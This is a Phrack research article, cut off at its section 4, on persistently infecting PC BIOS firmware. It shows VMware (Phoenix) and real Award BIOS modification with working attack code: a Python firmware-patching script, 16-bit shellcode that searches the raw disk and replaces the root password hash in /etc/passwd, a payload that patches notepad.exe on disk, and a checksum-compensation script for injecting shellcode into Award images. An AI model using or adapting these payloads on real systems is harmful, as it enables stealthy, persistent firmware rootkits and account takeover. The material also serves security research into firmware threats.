==Phrack Inc.== Volume 0x0d, Issue 0x42, Phile #0x07 of 0x11 |=-----------------------------------------------------------------------=| |=--------------------=[ Persistent BIOS Infection ]=-----------------=| |=-----------------=[ "The early bird catches the worm" ]=---------------=| |=-----------------------------------------------------------------------=| |=---------------=[ .aLS - anibal.sacco@coresecurity.com ]=------------=| |=---------------=[ Alfredo - alfredo@coresecurity.com ]=------------=| |=-----------------------------------------------------------------------=| |=---------------------------=[ June 1 2009 ]=---------------------------=| |=-----------------------------------------------------------------------=| ------[ Index 0 - Foreword 1 - Introduction 1.1 - Paper structure 2 - BIOS basics 2.1 - BIOS introduction 2.1.1 - Hardware 2.1.2 - How it works? 2.2 - Firmware file structure 2.3 - Update/Flashing process 3 - BIOS Infection 3.0 - Initial setup 3.1 - VMWare's (Phoenix) BIOS modification 3.1.1 - Dumping the VMWare BIOS 3.1.2 - Setting up VMWARE to load an alternate BIOS 3.1.3 - Unpacking the firmware 3.1.4 - Modification 3.1.5 - Payload 3.1.5.1 - The Ready Signal 3.1.6 - OptionROM 3.2 - Real (Award) BIOS modification 3.2.1 - Dumping the real BIOS firmware 3.2.2 - Modification 3.2.3 - Payload 4 - BIOS32 (Direct kernel infection) 5 - Future and other uses 5.1 - SMM! 6 - Greetz 7 - References 8 - Sources - Implementation details ------[ 0.- Foreword Dear reader, if you're here we can assume that you already know what the BIOS is and how it works. Or, at least, you have a general picture of what the BIOS does, and its importance for the normal operation of a computer. Based on that, we will briefly explain some basic concepts to get you into context and then we'll jump to the, more relevant, technical stuff. ------[ 1.- Introduction Over the years, a lot has been said about this topic. But, apart of the old Chernobyl virus, which just zeroed the BIOS if you motherboard was one of the supported, or some modifications with modding purposes (that were a very valuable source of data, btw) like Pinczakko's work, we wouldnt be able to find any public implementation of a working, generical and malicious BIOS infection. Mostly, the people tends to think that this is a very researched, old and already mitigated technique. It is sometimes even confused whith the obsolet MBR viruses. But, is our intention to show that this kind of attacks are possible and could be, with the aproppiated OS detection and infection techniques, a very trustable and persistent rootkit residing just inside of the BIOS Firmware. In this paper we will show a generic method to inject code into unsigned BIOS firmwares. This technique will let us embedd our own code into the BIOS firmware so that it will get executed just before the loading of the operating system. We will also demonstrate how having complete control of the hard drives allows us to leverage true persistency by deploying fully functional code directly into a windows process or just by modifying sensitive OS data in a Linux box. ---[ 1.1 - Paper structure The main idea of this paper is to show how the BIOS firmware can be modified and used as a persistence method after a successful intrusion. So, we will start by doing a little introduction and then we will focus the paper on the proof of concept code, splitting the paper in two main sections: - VMWare's (Phoenix) BIOS modification - Real (Award) BIOS modification In each one we will explain the payloads to show how the attack is done, and then we'll jump directly to see the payload code. ------[ 2.- BIOS Basics ---[2.1 - BIOS introduction From Wikipedia [1]: "The BIOS is boot firmware, designed to be the first code run by a PC when powered on. The initial function of the BIOS is to identify test, and initialize system devices such as the video display card, hard disk, and floppy disk and other hardware. This is to prepare the machine into a known state, so that software stored on compatible media can be loaded, executed, and given control of the PC.[3] This process is known as booting, or booting up, which is short for bootstrapping." "...provide a small library of basic input/output functions that can be called to operate and control the peripherals such as the keyboard, text display functions and so forth. In the IBM PC and AT, certain peripheral cards such as hard-drive controllers and video display adapters carried their own BIOS extension ROM, which provided additional functionality. Operating systems and executive software, designed to supersede this basic firmware functionality, will provide replacement software interfaces to applications. ---[2.1.1 - Hardware Back in the 80's the BIOS firmware was contained in ROM or PROM chips, which could not be altered in any way, but nowadays, this firmware is stored in an EEPROM (Electrically Erasable Programmable Read-Only Memory). This kind of memory allows the user to reflash it, allowing the vendor to offer firmware updates in order to fix bugs, support new hardware and to add new functionality. ---[2.1.2 - How it works? The BIOS has a very important role in the functioning of a computer. It should be always available as it holds the first instruction executed by the CPU when it is turned on. This is why it is stored in a ROM. The first module of the BIOS is called Bootblock, and it's in charge of the POST (Power-on self-test) and Emergency boot procedures. POST is the common term for a computer, router or printer's pre-boot sequence. It has to test and initialize almost all the different hardware components in the system to make sure everything is working properly. The modern BIOS has a modular structure, which means that there are several modules integrated on the same firmware, each one in charge of a different specific task; from hardware initialization to security measures. Each module is compressed, therefore there is a decompression routine in charge of the decompression and validation of the others modules that will be subsequently executed. After decompression, some other hardware is initialized, such as PCI Roms (if needed) and at the end, it reads the sector 0 of the hard drive (MBR) looking for a boot loader to start loading the Operating System. ---[2.2 - Firmware file structure As we said before, the BIOS firmware has a modular structure. When stored in a normal plain file, it is composed of several LZH compressed modules, each of them containing an 8 bit checksum. However, not all the modules are compressed, a few modules like the Bootblock and the Decompression routine are obviously uncompressed because they are a fundamental piece of the booting process and must perform the decompression of the other modules. Further, we will see why this is so convenient for our purposes. Here we have the output of Phnxdeco (available in the Debian repositories), an open source tool to parse and analyze the Phoenix BIOS Firmware ROMs (that we'll going to extract at 3.1.1): +-------------------------------------------------------------------------+ | Class.Instance (Name) Packed ---> Expanded Compression Offse | +-------------------------------------------------------------------------+ B.03 ( BIOSCODE) 06DAF (28079) => 093F0 ( 37872) LZINT ( 74%) 446DFh B.02 ( BIOSCODE) 05B87 (23431) => 087A4 ( 34724) LZINT ( 67%) 4B4A9h B.01 ( BIOSCODE) 05A36 (23094) => 080E0 ( 32992) LZINT ( 69%) 5104Bh C.00 ( UPDATE) 03010 (12304) => 03010 ( 12304) NONE (100%) 5CFDFh X.01 ( ROMEXEC) 01110 (04368) => 01110 ( 4368) NONE (100%) 6000Ah T.00 ( TEMPLATE) 02476 (09334) => 055E0 ( 21984) LZINT ( 42%) 63D78h S.00 ( STRINGS) 020AC (08364) => 047EA ( 18410) LZINT ( 45%) 66209h E.00 ( SETUP) 03AE6 (15078) => 09058 ( 36952) LZINT ( 40%) 682D0h M.00 ( MISER) 03095 (12437) => 046D0 ( 18128) LZINT ( 68%) 6BDD1h L.01 ( LOGO) 01A23 (06691) => 246B2 (149170) LZINT ( 4%) 6EE81h L.00 ( LOGO) 00500 (01280) => 03752 ( 14162) LZINT ( 9%) 708BFh X.00 ( ROMEXEC) 06A6C (27244) => 06A6C ( 27244) NONE (100%) 70DDAh B.00 ( BIOSCODE) 001DD (00477) => 0D740 ( 55104) LZINT ( 0%) 77862h *.00 ( TCPA_*) 00004 (00004) => 00004 ( 004) NONE (100%) 77A5Ah D.00 ( DISPLAY) 00AF1 (02801) => 00FE0 ( 4064) LZINT ( 68%) 77A79h G.00 ( DECOMPCODE) 006D6 (01750) => 006D6 ( 1750) NONE (100%) 78585h A.01 ( ACPI) 0005B (00091) => 00074 ( 116) LZINT ( 78%) 78C76h A.00 ( ACPI) 012FE (04862) => 0437C ( 17276) LZINT ( 28%) 78CECh B.00 ( BIOSCODE) 00BD0 (03024) => 00BD0 ( 3024) NONE (100%) 7D6AAh We can see here the different parts of the Firmware file, containing the DECOMPCODE section, where the decompression routine is located, as well as the other not-covered-in-this-paper sections. ---[2.3 - Update/Flashing process The BIOS software is not so different from any other software. It's prone to bugs in the same way as other software is. Newer versions come out adding support for new hardware, features and fixing bugs, etc. But the flashing process could be very dangerous on a real machine. The BIOS is a fundamental component of the computer. It's the first piece of code executed when a machine is turned on. This is why we have to be very carefully when doing this kind of things. A failed BIOS update can -and probably will- leave the machine unresponsive. And that just sucks. That is why it's so important to have some testing platform, such as VMWare, at least for a first approach, because, as we'll see, there are a lot of differences between the vmware version vs. the real hardware version. ------[ 3.- BIOS Infection ---[3.0 - Initial setup ---[3.1 - VMWare's (Phoenix) BIOS modification First, we have to obtain a valid VMWARE BIOS firmware to work on. In order to read the EEPROM where the BIOS firmware is stored we need to run some code in kernel mode to let us send and receive data directly to the southbridge through the IO Ports. To do this, we also need to know some specific data about the current hardware. This data is usually provided by the vendor. Furthermore, almost all motherboard vendors provide some tool to update the BIOS, and very often, they have an option to backup or dump the actual firmware. In VMWare we can't use this kind of tools, because the emulated hardware doesn't have the same functionality as the real hardware. This makes sense... why would someone would like to update the VMWare BIOS from inside...? ---[3.1.1 - Dumping the VMWare BIOS When we started this, it was really helpful to have the embedded gdb server that VMWare offers. This let us debug and understand what was happening. So in order to patch and modify some little pieces of code to start testing, we used some random byte arrays as patterns to find the BIOS in memory. Doing this we found that there is a little section of almost 256kb in vmware-vmx, the main vmware executable, called .bios440 ( that in our vmware version is located between the file offset 0x6276c7-0x65B994 ) that contains the whole BIOS firmware, in the same way as it is contained in a normal file ready to flash. You can use objdump to see the sections of the file: objdump -h vmware-vmx And you can dump it to a file using the objcopy tool: objcopy -j .bios440 -O binary --set-section-flags .bios440=a \ vmware-vmx bios440.rom.zl Umm... this means that... if we have root privileges in the victim machine, we could use our amazing power to modify the vmware-vmx executable, inserting our own infected bios and it will be executed each time a vmware starts, for every vmware of the computer. Sweet! But, there are simpler ways to accomplish this task. We are going to modify it a lot of times and it is not going to work most of the times so.. the simpler, the better. ---[3.1.2 - Setting up VMWARE to load an alternate BIOS We found that VMWare offers a very practical way to let the user provide an specific BIOS firmware file directly through the .VMX configuration file. This not-so-known tag is called "bios440.filename" and it let us avoid using VMWare's built-in BIOS and instead allows us to specify a BIOS file to use. You have to add this line in your .VMX file: bios440.filename = "path/to/file/bios.rom" And, voila!, now you have another BIOS firmware running in your VM, and in combination with: debugStub.listen.guest32 = "TRUE" or debugStub.listen.guest64 = "TRUE" that will leave the VMWare's gdb stub waiting for your connection on localhost on port 8832. You will end up with an excellent -and completely debuggable- research scenery. Nice huh? Other important hidden tags that can be useful to define are: bios.bootDelay = "3000" # To delay the boot X miliseconds debugStub.hideBreakpoints = "TRUE" # Allows gdb breakpoints to work debugStub.listen.guest32.remote = "TRUE" # For debugging from another machine (32bit) debugStub.listen.guest64.remote = "TRUE" # For debugging from another machine (64bit) monitor.debugOnStartGuest32 = "TRUE" # This will halt the VM at the very first instruction at 0xFFFF0 ---[3.1.3 - Unpacking the firmware As we mentioned before, some of the modules are compressed with an LZH variation. There are a few available tools to extract and decompress each individual module from the Firmware file. The most used are Phnxdeco and Awardeco (two excellent linux GPL tools) together with Phoenix BIOS Editor and Award BIOS editor (some non GPL tools for windows). You can use Phoenix BIOS editor over linux using wine if you want. It will extract all the modules in a /temp directory inside the Phoenix BIOS editor ready to be open with your preferred disassembler. The great news about Phoenix BIOS Editor is that it can also rebuild the main firmware file. It can recompress and integrate all the different decompressed modules to let it just as it was at the beggining. The only thing is that it was done for older Phoenix BIOSes, and it misses the checksum so we will have to do it by ourselves as we'll see at 3.2.2.1 Some of these tasks are done by isolated tools that can be invoked directly from a command line, which is very practical in order to automate the process with simple scripts. ---[3.1.4 - Modification So, here we are. We have all the modules unpacked, and the possibility of modifying them, and then rebuild them in a fully working BIOS flash update. The first thing to deal with now is 'where to patch'. We can place a hook in almost any place to get our code executed but we have to think things through before deciding on where to patch. At the beginning we thought about hooking the first instruction executed by the CPU, a jump at 0xF000:FFF0. It seemed to be the best option because it is always in the same place, and is easy to find but we have to take into consideration the execution context. To have our code running there should imply doing all the hardware initialization by ourselves (DRAM, Northbridge, Cache, PCI, etc.) For example, if we want to do things like accessing the hard drive we need to be sure that when our code gets executed it already has access to the hard drive. For this reason, and because it doesn't change between different versions, we've chosen to hook the decompression routine. It is also very easy to find by looking for a pattern. It is uncompressed, and is called many times during the BIOS boot sequence letting us check if all the needed services are available before doing the real stuff. Here we have a dump script to quickly extract the firmware modules, assemble the payloads, inject it, and reassemble the modified firmware file. PREPARE.EXE and CATENATE.EXE are propietary tools to build phoenix firmware that you can find inside the Phoenix BIOS Editor and packaged with other flashing tools. In later versions of this script this tools arent needed anymore. (as seen at 3.2.2.1) #!/usr/bin/python import os,struct #--------------------------- Decomp processing ------------------------------ #assemble the whole code to inject os.system('nasm ./decomphook.asm') decomphook = open('decomphook','rb').read() print "Leido hook: %d bytes" % len(decomphook) minihook = '\x9a\x40\x04\x3b\x66\x90' # call near +0x430 #Load the decompression rom decorom = open('DECOMPC0.ROM.orig','rb').read() #Add the hook hookoffset=0x23 decorom = decorom[:hookoffset]+minihook+decorom[len(minihook)+hookoffset:] #Add the shellcode decorom+="\x90"*100+decomphook decorom=decorom+'\x90'*10 #recalculate the ROM size decorom=decorom[:0xf]+struct.pack("<H",len(decorom)-0x1A)+decorom[0x11:] #Save the patched decompression rom out=open('DECOMPC0.ROM','wb') out.write(decorom) out.close() #Compile print "Prepare..." os.system('./PREPARE.EXE ./ROM.SCR.ORIG') print "Catenate..." os.system('./CATENATE.EXE ./ROM.SCR.ORIG') os.system('rm *.MOD') ---[3.1.5 - Payload Before talking about the payload, we have to resolve *where* are we going to store our payload, and this is not a trivial task. We found that there is a lot of padding space at the end of the decompression routine that, when allocated, will be used as a buffer to hold the decompressed code. Trashing in this way, any code that we can store there. This adds a bit of complexity to the payload, because it makes us split the shellcode in two stages. The first one gets executed by setting a very typical hook in the prolog of the decompression routine. A simple relative call that redirects the execution flow to our code and moves the second stage to a safe hardcoded place that we know remains unused during the whole boot process. Then, updates the hook making it point to the new address and executes the instructions smashed by the original call __________________________________ | | | HOOK +->---. |..................................| | .--->| | | | | | | | | DECOMPRESSION BLOCK | | | | | | | | | | | |__________________________________| | | | |<----' | | First Stage Payload | | | (Moves second stage | | | to a safe place | | | and updates the hook) | | | | | |..................................| `--<-+ Code smashed by hook | |__________________________________| | | | Second Stage Payload | | | | | |__________________________________| Lets see the code: |-----------------------------------------------------------| BITS 16 ;Extent to search (in 64K sectors, aprox 32 MB) %define EXTENT 10 start_mover: ;save regs ;jmp start_mover pusha pushf ; set dst params to move the shellcode xor ax, ax xor di, di xor si, si push cs pop ds mov es, ax ; seg_dst mov di, 0x8000 ; off_dst mov cx, 0xff ; code_size ; get_eip to have the 'source' address call b b: pop si add si, 0x25 (Offset needed to reach the second stage payload) rep movsw mov ax, word [esp+0x12] ; get the caller address to patch the original hook sub ax, 4 mov word [eax], 0x8000 ; new_hook offset mov word [eax+2], 0x0000 ; new_hook segment ; restore saved regs popf popa ; execute code smashed by 'call far' ;mov es,ax mov bx,es mov fs,bx mov ds,ax retf ;Here goes a large nopsled and next, the second stage payload |------------------------------------------------------------| The second stage, now residing in an unused space, has got to have some ready signal to know if the services that we want to use are available.. ---[3.1.5.1 - The Ready Signal In the VMWare we've seen that when our second-stage payload is called, and the IVT is already initialized, we have all we need to do our stuff. Based on that we chose to use the IVT initialization as our ready signal. This is very simple because it's always mapped at 0000:0000. Every time the shellcode gets executed first checks if the IVT is initialized with valid pointers, if it is the shellcode is executed, if not it returns without doing anything. ---[3.1.5.1 - The Real stuff Now we have our code executed and we know that we have all the services we need so what are we going to do? We can't interact with the OS from here. In this moment the operating system is just a char array sitting on the disk. But hey! wait, we have access to the disk through the int 13h (Low Level Disk Services).. we can modify it in any way we want!. Ok, let's do it. In a real malicious implementation, you would like to code some sort of basic driver to correctly parse the different filesystem structures, at least for FAT & NTFS (maybe reusing GRUB or LILO code?) but for this paper, just as Proof of Concept, we will use the Int 13h to sequentially read the disk in raw mode. We will look for a pattern in a very stupid way and it will work, but doing what we said before, in a common scenery, will be possible to modify, add and delete any desired file of the disk allowing an attacker to drop driver modules, infect files, disable the antivirus or anti rootkits, etc. This is the shellcode that we've used to walk over the whole disk matching the pattern: "root:$" in order to find the root entry of the /etc/passwd file. Then, we replace the root hash with our own hash, setting the password "root" for the root user. ------------------------------------------------------------- ; The shellcode doesn't have any type of optimization, we tried to keep it ; simple, 'for educational purposes' ; 16 bit shellcode ; use LBA disk access to change root password to 'root' BITS 16 push es push ds pushad pushf ; Get code address call gca gca: pop bx ; construct DAP push cs pop ds mov si,bx add si,0x1e0 ; DAP 0x1e0 from code mov cx,bx add cx,0x200 ; Buffer pointer 0x200 from code mov byte [si],16 ;size of SAP inc si mov byte [si],0 ;reserved inc si mov byte [si],1 ;number of sectors inc si mov byte [si],0 ;unused inc si mov word [si],cx ;buffer segment add si,2 mov word [si],ds;buffer offset add si,2 mov word [si],0 ; sector number add si,2 mov word [si],0 ; sector number add si,2 mov word [si],0 ; sector number add si,2 mov word [si],0 ; sector number mov di,0 mov si,0 mainloop: push di push si ;-------- Inc sector number mov cx,3 mov si,bx add si,0x1e8 loopinc: mov ax,word [si] inc ax mov word [si],ax cmp ax,0 jne incend add si,2 loop loopinc incend: ;-------- LBA extended read sector mov ah,0x42 ; call number mov dl,0x80 ; drive number 0x80=first hd mov si,bx add si,0x1e0 int 0x13 jc mainend nop nop nop ;-------- Search for 'root' mov di,bx add di,0x200 ; pointer to buffer mov cx,0x200 ; 512 bytes per sector searchloop: cmp word [di],'ro' jne notfound cmp word [di+2],'ot' jne notfound cmp word [di+4],':$' jne notfound jmp found ; root found! notfound: inc di loop searchloop endSearch: pop si pop di inc di cmp di,0 jne mainloop inc si cmp si,3 jne mainloop mainend: popf popad pop ds pop es int 3 found: ;replace password with: ;root:$2a$08$Grx5rDVeDJ9AXXlXOobffOkLOnFyRjk2N0/4S8Yup33sD43wSHFzi: ;Yes we could've used rep movsb, but we kinda suck. mov word[di+6],'2a' mov word[di+8],'$0' mov word[di+10],'8$' mov word[di+12],'Gr' mov word[di+14],'rD' mov word[di+16],'Ve' mov word[di+18],'DJ' mov word[di+20],'9A' mov word[di+22],'XX' mov word[di+24],'lX' mov word[di+26],'Oo' mov word[di+28],'bf' mov word[di+30],'fO' mov word[di+32],'kL' mov word[di+34],'On' mov word[di+36],'Fy' mov word[di+38],'Rj' mov word[di+40],'k2' mov word[di+42],'N0' mov word[di+44],'/4' mov word[di+46],'S8' mov word[di+48],'Yu' mov word[di+52],'p3' mov word[di+54],'3s' mov word[di+56],'D4' mov word[di+58],'3w' mov word[di+60],'SH' mov word[di+62],'Fz' mov word[di+64],'i:' ;-------- LBA extended write sector mov ah,0x43 ; call number mov al,0 ; no verify mov dl,0x80 ; drive number 0x80=first hd mov si,bx add si,0x1e0 int 0x13 jmp mainend This other is basically the same payload, but in this case we walk over the whole disk trying to match a pattern inside notepad.exe, and then we inject a piece of code with a simple call to MessaBoxA and ExitProcess to finish it gracefully. hook_start: nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ;jmp hook_start ;mov bx,es ;mov fs,bx ;mov ds,ax ;retf pusha pushf xor di,di mov ds,di ; check to see if int 19 is initialized cmp byte [0x19*4],0x00 jne ifint noint: ;jmp noint ; loop to debug popf popa ;mov es, ax mov bx, es mov fs, bx mov ds, ax retf ifint: ;jmp ifint ; loop to debug cmp byte [0x19*4],0x46 je noint ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; initShellcode: ;jmp initShellcode ; DEBUG cli push es push ds pushad pushf ; Get code address call gca gca: pop bx ;---------- Set screen mode mov ax,0x0003 int 0x10 ;---------- construct DAP push cs pop ds mov si,bx add si,0x2e0 ; DAP 0x2e0 from code mov cx,bx add cx,0x300 ; Buffer pointer 0x300 from code mov byte [si],16 ;size of SAP inc si mov byte [si],0 ;reserved inc si mov byte [si],1 ;number of sectors inc si mov byte [si],0 ;unused inc si mov word [si],cx ;buffer segment add si,2 mov word [si],ds;buffer offset add si,2 mov word [si],0 ; sector number add si,2 mov word [si],0 ; sector number add si,2 mov word [si],0 ; sector number add si,2 mov word [si],0 ; sector number mov di,0 mov si,0 ;-------- Function 41h: Check Extensions push bx mov ah,0x41 ; call number mov bx,0x55aa; mov dl,0x80 ; drive number 0x80=first hd int 0x13 pop bx jc mainend_near ;-------- Function 00h: Reset Disk System mov ah, 0x00 int 0x13 jc mainend_near jmp mainloop mainend_near: jmp mainend mainloop: cmp di,0 jne nochar ;------- progress bar (ABCDE....) push bx mov ax,si mov ah,0x0e add al,0x41 mov bx,0 int 0x10 pop bx nochar: push di push si ;jmp incend ; ;-------- Inc sector number mov cx,3 mov si,bx ; bx = curr_pos add si,0x2e8 ; +2e8 LBA Buffer loopinc: mov ax,word [si] inc ax mov word [si],ax cmp ax,0 jne incend add si,2 loop loopinc incend: LBA_read: ;jmp int_test ;-------- LBA extended read sector mov ah,0x42 ; call number mov dl,0x80 ; drive number 0x80=first hd mov si,bx add si,0x2e0 int 0x13 jnc int13_no_err ;-------- Write error character push bx mov ax,0x0e45 mov bx,0x0000 int 0x10 pop bx int13_no_err: ;-------- Search for 'root' mov di,bx add di,0x300 ; pointer to buffer mov cx,0x200 ; 512 bytes per sector searchloop: cmp word [di],0x706a jne notfound cmp word [di+2],0x9868 jne notfound ;debugme: ; je debugme cmp word [di+4],0x0018 jne notfound cmp word [di+6],0xe801 jne notfound jmp found ; root found! notfound: inc di loop searchloop endSearch: pop si pop di inc di cmp di,0 jne mainloop inc si cmp si,EXTENT ;------------ 10x65535 sectors to read jne mainloop jmp mainend exit_error: pop si pop di mainend: popf popad pop ds pop es sti popf popa mov bx, es mov fs, bx mov ds, ax retf writechar: push bx mov ah,0x0e mov bx,0x0000 int 0x10 pop bx ret found: mov al,0x46 call writechar ;mov word[di], 0xfeeb ; Infinite loop - Debug mov word[di], 0x00be mov word[di+2], 0x0100 mov word[di+4], 0xc700 mov word[di+6], 0x5006 mov word[di+8], 0x4e57 mov word[di+10], 0xc744 mov word[di+12], 0x0446 mov word[di+14], 0x2121 mov word[di+16], 0x0100 mov word[di+18], 0x016a mov word[di+20], 0x006a mov word[di+22], 0x6a56 mov word[di+24], 0xbe00 mov word[di+26], 0x050b mov word[di+28], 0x77d8 mov word[di+30], 0xd6ff mov word[di+32], 0x00be mov word[di+34], 0x0000 mov word[di+36], 0x5600 mov word[di+38], 0xa2be mov word[di+40], 0x81ca mov word[di+42], 0xff7c mov word[di+44], 0x90d6 ;-------- LBA extended write sector mov ah,0x43 ; call number mov al,0 ; no verify mov dl,0x80 ; drive number 0x80=first hd mov si,bx add si,0x2e0 int 0x13 jmp notfound; continue searching nop ---[3.2 - Real (Award) BIOS modification VMWare turned to be an excellent BIOS research and development platform. But to complete this research, we have to attack a real system. For this modification we used a common motherboard (Asus A7V8X-MX), with an Award-Phoenix 6.00 PG BIOS, a very popular version. ---[3.2.1 - Dumping the real BIOS firmware FLASH chips are fairly compatible, even interchangeable. But they are connected to the motherboard in many different ways (PCI, ISA bridge, etc.), and that makes reading them in a generic way a non-trivial problem. How can we make a generic rootkit if we can't even find a way to reliably read a flash chip? Of course, a hardware flash reader is a solution, but at the time we didn't have one and is not really an option if you want to remotely infect a BIOS without physical access. So we started looking for software-based alternatives. The first tool that we found worked fine, which was the Flashrom utility from the coreboot open-source project, see [COREBOOT] (Also available in the Debian repositories). It contains an extensive database of chips and read/write methods. We found that it almost always works, even if you have to manually specify the IC model, as it's not always automatically detected. $ flashrom -r mybios.rom Generally, the command above is all that you need. The bios should be in the mybios.rom file. A trick that we learned is that if it says that it can't detect the Chip, you should do a script to try every known chip. We have yet to find BIOS that can't be read using this technique. Writing is slightly more difficult, as Flashrom needs to correctly identify the IC to allow writing to it. This limitation can by bypassed modifying the source code but beware that you can fry your motherboard this way. We also used flashrom as a generic way to upload the modified BIOS back to the motherboard. ---[3.2.2 - Modification Once we have the BIOS image on our hard disk, we can start the process of inserting the malicious payload. When modifying a real bios, and in particular an award/phoenix BIOS, we faced some big problems: 1) Lack of documentation of the bios structure 2) Lack of packing/unpacking tools 3) No easy way to debug real hardware. There are many free tools to manipulate BIOS, but as it always happen with proprietary formats, we couldn't find one that worked with our particular firmware. We can cite the Linux awardeco and phnxdeco utilities as a starting point, but they tend to fail on modern BIOS versions. Our plan to achieve execution was: 1) We must insert arbitrary modifications (this implies the knowledge of checksum positions and algorithms) 2) A basic hook should be inserted on a generic, easy to find portion of the BIOS. 3) Once the generic hook is working, then a Shellcode could be inserted. ---[3.2.2.0 - Black Screen of Death You have to know that you're going to trash a lot of BIOS chips in this process. But most BIOSes have a security mechanism to restore a damaged firmware. RTFM (Read the friendly manual of the motherboard) If this doesn't work, you can use the chip hot-swapping technique: You boot with a working chip, then you hot-swap it with the damaged one, and reflash. Of course, for this technique you will need to have another working backup BIOS. ---[3.2.2.1 - Changing one bit at time Our initial attempts were unsuccessful and produced mostly unbootable systems. Basically we ignored how many checksums the bios had, and you must patch everyone of them or face the terrifying "BIOS CHECKSUM ERROR" black screen of death. The black screen of death got us thinking, it says "CHECKSUM" so, it must be some kind of addition compared to a number. And this kind of checks can be easily bypassed, injecting a number at some point that will *compensate* the addition. Isn't this the reason why CRC was invented after all? It turns out that all the checksums were only 8-bits, and by touching only one byte at the end of the shellcode, all the checksums were compensated. You can find the very simple algorithm to do this on the attachments, inside this python script: ------------------------------------------------------------- modifBios.py #!/usr/bin/python import os,sys,math # Usage if len(sys.argv)<3: print "Modify and recalculate Award BIOS checksum" print "Usage: %s <original bios> <assembly shellcode file>" % (sys.argv[0]) exit(0) # assembly the file scasm = sys.argv[2] sccom = "%s.bin" % scasm os.system("nasm %s -o %s " % (scasm,sccom) ) shellcode = open(sccom,'rb').read() shellcode = shellcode[0xb55:] # skip the NOPs os.unlink(sccom) print ("Shellcode lenght: %d" % len(shellcode)) # Make a copy of the original BIOS modifname = "%s.modif" % sys.argv[1] origname = sys.argv[1] os.system("cp %s %s" % (origname,modifname) ) #merge shellcode with original flash insertposition = 0x3af75 modif = open(modifname,'rb').read() os.unlink(modifname) newbios=modif[:insertposition] newbios+=shellcode newbios+=modif[insertposition+len(shellcode):] modif=newbios #insert hook hookposition = 0x3a41d hook="\xe9\x55\x0b" # here is our hook, # at the end of the bootblock newbios=modif[:hookposition] newbios+=hook newbios+=modif[hookposition+len(hook):] modif=newbios #read original flash orig = open(sys.argv[1],'rb').read() # calculate original and modified checksum # Sorry, this script is not *that* generic # you will have to harvest these values # manually, but you can craft an automatic # one using pattern search. # These offsets are for the Asus A7V8X-MX # Revision 1007-001 start_of_decomp_blk=0x3a400 start_of_compensation=0x3affc end_of_decomp_blk=0x3b000 ochksum=0 # original checksum mchksum=0 # modified checksum for i in range(start_of_decomp_blk,start_of_compensation): ochksum+=ord(orig[i]) mchksum+=ord(modif[i]) print "Checksums: Original= %08X Modified= %08X" % (ochksum,mchksum) # calculate difference chkdiff = (mchksum & 0xff) - (ochksum & 0xff) print "Diff : %08X" % chkdiff # balance the checksum newbios=modif[:start_of_compensation] newbios+=chr( (0x1FF-chkdiff) & 0xff ) newbios+=modif[start_of_compensation+1:] mchksum=0 # modified checksum ochksum=0 # modified checksum for i in range(start_of_decomp_blk,end_of_decomp_blk): ochksum+=ord(orig[i]) mchksum+=ord(newbios[i]) print "Checksum: Original = %08X Final= %08X" % (ochksum,mchksum) print "(Please check the last digit, must be the same in both checkums)" newbiosname=sys.argv[2]+".compensated" w=open(newbiosname,'wb') w.write(newbios) w.close() print "New bios saved as %s" % newbiosname ------------------------------------------------------------- With this technique we successfully changed one bit, then one byte, then multiple bytes on a uncompressed region of the BIOS. The first step was accomplished. ---[3.2.2.1 - Inserting the Hook The hook is in exactly the same place: the decompressor block. We also jumped to the same place that in the VMWARE code injection: In the end of the decompressor block generally there is enough space to do a pretty decent first stage shellcode. It's easy to find. Hint: look for "= Award Decompression Bios =" In Phoenix bios, is the block marked as "DECOMPCODE" (using phnxdeco or any other tool). It almost never changes. It works. There are a couple of steps that you must do to ensure that you are hooking correctly. Firstly, insert a basic hook that only jumps forward, and then returns. Then, modify it to cause an infinite loop. (we don't have a debugger so we must rely on these horrible techniques) If you can control when the computers boots correctly and when it just locks up, congratulations. Now you have your code stealthy executing from the BIOS. ---[3.2.3 - Payload So now, you have complete control of the BIOS. Then you unveil your elite 16-bit shellcoding skills and try to use the venerable INT 10h to print "I PWNED J00!" on the screen and then proceed to use INT 13h to write evil things to the hard disk. Not that fast. You will be greeted with the black screen of fail. What happens is that you still don't have complete control of the BIOS. First and foremost, as we did on the VMWARE hook, you are gaining execution multiple times during the boot process. The first time, the disk is not spinning, the screen is still turned off and most surprisingly, the Interruption Vector Table is not initialized. This sounds very cool but it is a big problem. You can't write to the disk if it's not spinning, and you can use an interrupt if the IVT is not initialized. You must wait. But how do you know when to execute? You again need some sort of ready-to-go signal. ---[3.2.3.1 - The Ready Signal In the VMWARE, we used the contents of the IVT as a ready signal. The shellcode tested if the IVT was ready simply by checking if it had the correct values. This was very easy because in real-mode, the IVT is always in the same place (0000:0000, easy to remember by the way). This technique basically sucks, because you really can't get less generic than this. The pointers on the IVT change all the time, even between versions of the same BIOS manufacturer. We need a better, more "works-on-other-computers-apart-from-mine" technique. In short, this is the solution and it works great: Check if C000:0000 contains the signature AA55h. If that conditions is true, then you can execute any interruption. The reason is that in this precise position the VGA BIOS is loaded on all PCs. And AA55h is a signature that tell us that the VGA BIOS is present. It's fine to assume that if the VGA BIOS has been loaded, then the IVT has been initialized. Warning: Surely the hard disk is not spinning yet! (It's slow) but now you can check for it with the now non-crashing interruption 13h, using function 41h to check for LBA extensions and then trying to do a disk reset, using function 00h. You can see an example of this on the shellcode of the section 3.1.5.1 The rest is history. You can use int 13h with LBA to check for the disk, if it's ready, then you insert a disk-stage rootkit on it, or insert an SMBIOS rootkit (see [PHRACK65]), or bluepill, or the I-Love-You virus, or whatever rocks you. Your code is now immortal. For the record, here is a second shellcode: ------------------------------------------------------------- ;skull.asm please use nasm to assemble BITS 16 back: TIMES 0x0b55 db 0x90 begin2: pusha pushf push es push ds push 0xc000 pop ds cmp word [0],0xaa55 je print volver: pop ds pop es popf popa pushad push cx jmp back print: jmp start ;message ; 123456789 msg: db ' .---.',13,10,\ '/ \',13,10,\ '|(\ /)|',13,10,\ '(_ o _)',13,10,\ ' |===|',13,10,\ ' `-.-`',13,10 times 55-$+msg db ' ' start: ;geteip call getip getip: pop dx ;init video mov ax,0003 int 0x10 ;video write mov bp,dx sub bp,58 ; message ;write string mov ax,0x1300 mov bx,0x0007 mov cx,53 mov dx,0x0400 push cs pop es int 0x10 call sleep jmp volver sleep: mov cx, 0xfff l1: push cx mov cx,0xffff l2: loop l2 pop cx loop l1 ret ------------------------------------------------------------- ------[ 4.- BIOS32 (Kernel direct infection) Now you have 